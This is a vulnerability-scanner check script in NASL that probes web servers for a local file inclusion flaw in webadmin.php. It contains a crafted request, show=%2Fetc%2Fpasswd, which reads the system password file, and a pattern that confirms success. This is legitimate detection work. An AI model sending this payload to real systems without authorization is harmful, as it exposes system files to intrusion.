webadmin.php LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2005 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.18586");
  script_version("2025-07-18T15:43:33+0000");
  script_tag(name:"last_modification", value:"2025-07-18 15:43:33 +0000 (Fri, 18 Jul 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_name("webadmin.php LFI Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 Michel Arboi");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "os_detection.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
                      "global_settings.nasl", "logins.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning", "http/auth");
  # nb: Initial version of this VT only checked /etc/passwd which indicates that this product is
  # only running on Linux. As it doesn't make much sense to throw these checks against every OS
  # these days a more Linux specific mandatory key is used here.
  script_mandatory_keys("Host/runs_unixoide");

  script_tag(name:"summary", value:"webadmin.php is prone to a local file inclusion (LFI)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"In its current configuration, this file manager CGI gives access
  to the whole filesystem of the machine to anybody.");

  script_tag(name:"solution", value:"Restrict access to this CGI or remove it.");

  script_tag(name:"solution_type", value:"Mitigation");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

if( get_kb_item( "http/auth" ) )
  exit( 0 ); # nb: CGI might be protected

port = http_get_port( default:80 );

if( get_kb_item( "/tmp/http/auth/" + port ) )
  exit( 0 ); # nb: CGI might be protected

if( ! http_can_host_php( port:port ) )
  exit( 0 );

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  # nb: No traversal_files() for now as we don't want to change the code below as we don't have
  # access to an affected system anymore and can't test any changes done here.
  url = dir + "/webadmin.php?show=%2Fetc%2Fpasswd";

  if( http_vuln_check( port:port, url:url, pattern:".*root:.*:0:[01]:.*" ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );